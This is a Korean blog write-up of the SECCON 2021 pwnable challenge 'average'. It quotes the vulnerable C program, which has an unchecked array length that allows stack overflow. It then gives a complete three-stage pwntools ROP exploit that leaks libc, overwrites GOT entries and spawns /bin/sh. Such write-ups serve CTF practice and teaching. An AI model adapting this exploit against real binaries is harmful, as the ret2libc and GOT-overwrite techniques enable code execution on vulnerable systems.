Intro

Seccon 2021에 출제된 포너블 문제이다. 

 

Analysis

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

int main()
{
    long long n, i;
    long long A[16];
    long long sum, average;

    alarm(60);
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);
    setvbuf(stderr, NULL, _IONBF, 0);

    printf("n: ");
    if (scanf("%lld", &n)!=1)
        exit(0);
    for (i=0; i<n; i++)
    {
        printf("A[%lld]: ", i);
        if (scanf("%lld", &A[i])!=1)
            exit(0);
        //  prevent integer overflow in summation
        if (A[i]<-123456789LL || 123456789LL<A[i])
        {
            printf("too large\n");
            exit(0);
        }
    }

    sum = 0;
    for (i=0; i<n; i++)
        sum += A[i];
    average = (sum+n/2)/n;
    printf("Average = %lld\n", average);
}

코드는 간단하다. 

 

취약점은 n에 대한 제한이 없기 때문에 OOB가 트리거 된다.

따라서 stack 값을 overwrite할 수 있는데, 문제는 중간 if문에 의해 123456789 이상의 값은 적을 수 없다.

 

Exploit

leak payload를 짤때는 123456789보다 작기 때문에 상관없지만, libc address는 이 크기를 넘어가기 때문에 고려해야 한다.

 

puts@got를 exit루틴으로 안 가게끔 해주면 되는데, 문제는 movaps error가 발생한다. (stack align이 깨진다.)

 

그 이유는 좀 분석하다가 알게 되었는데, call puts@plt 할 때 sfp가 push(8byte)되기 때문이다. (puts@got는 루틴이 바뀌어있어 sfp는 push 되고 에필로그는 호출되지 않는다.)

 

stack allignment만 맞춰주면 error가 안 나기 때문에, exit@got도 루틴을 적절히 바꿔 8바이트씩 push 되어 allignment를 맞추도록 하였다.

 

나머지 payload 짜는 건 잘 계산해주면 된다.

from pwn import *

s = process("./average")
e = ELF("./average")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")

prdi = 0x4013a3
prsi_r15 = 0x4013a1
ret = 0x40101a

#stage1
s.sendlineafter("n: ", "100")

for i in range(16):
    s.sendlineafter(": ", "1")

s.sendlineafter(": ", str(22 + 3)) #n
s.sendlineafter(": ", str(1)) #avr
s.sendlineafter(": ", str(1)) #sum
s.sendlineafter(": ", str(19)) #i
s.sendlineafter(": ", str(1)) #sfp

s.sendlineafter(": ", str(prdi)) #ret

s.sendlineafter(": ", str(e.got['puts'])) #leak
s.sendlineafter(": ", str(e.plt['puts']))
s.sendlineafter(": ", str(0x401176)) #main

s.recvline()
libc_base = u64(s.recv(6)+b"\x00\x00") - libc.sym.puts
system = libc_base + libc.sym.system
binsh = libc_base + list(libc.search(b"/bin/sh"))[0]
rtld_global = libc_base + 0x61bf68
print(hex(libc_base))

#stage2
s.sendlineafter("n: ", "100")

for i in range(16):
    s.sendlineafter(": ", "1")

s.sendlineafter(": ", str(22 + 12)) #n
s.sendlineafter(": ", str(1)) #avr
s.sendlineafter(": ", str(1)) #sum
s.sendlineafter(": ", str(19)) #i
s.sendlineafter(": ", str(1)) #sfp

s.sendlineafter(": ", str(prdi)) #ret

#input()
s.sendlineafter(": ", str(0x402008)) #%lld
s.sendlineafter(": ", str(prsi_r15))
s.sendlineafter(": ", str(e.got['puts']))
s.sendlineafter(": ", str(0))
s.sendlineafter(": ", str(0x401070)) #call _scanf
s.sendlineafter(": ", str(prdi)) 
s.sendlineafter(": ", str(0x402008)) #%lld
s.sendlineafter(": ", str(prsi_r15))
s.sendlineafter(": ", str(e.got['exit']))
s.sendlineafter(": ", str(0))
s.sendlineafter(": ", str(0x401070)) #call _scanf
s.sendlineafter(": ", str(0x401090)) #main

s.sendline(str(0x4012ab))
s.sendline(str(0x4012B5))

#stage3
s.sendlineafter("n: ", "100")

for i in range(16):
    s.sendlineafter(": ", "1")

s.sendlineafter(": ", str(22 + 3)) #n
s.sendlineafter(": ", str(1)) #avr

s.sendlineafter(": ", str(123)) #sum
s.sendlineafter(": ", str(19)) #i
s.sendlineafter(": ", str(1)) #sfp

s.sendlineafter(": ", str(ret)) #ret

s.sendlineafter(": ", str(prdi)) #prdi
s.sendlineafter(": ", str(binsh)) #alignment
s.sendlineafter(": ", str(system))

s.interactive()

ROP payload 한 번에 짜도 되는데, 하다 보니 stage가 나뉘었다.

 

stage1 -> libc leak

stage2 -> puts, exit got를 프로그램 종료하지 않게 routine 바꿈.

stage3 -> system 실행

'System Hacking > CTF Write-up' 카테고리의 다른 글

[Google CTF 2021] compression  (0) 2022.02.02

WRITTEN BY
pwnhyo

,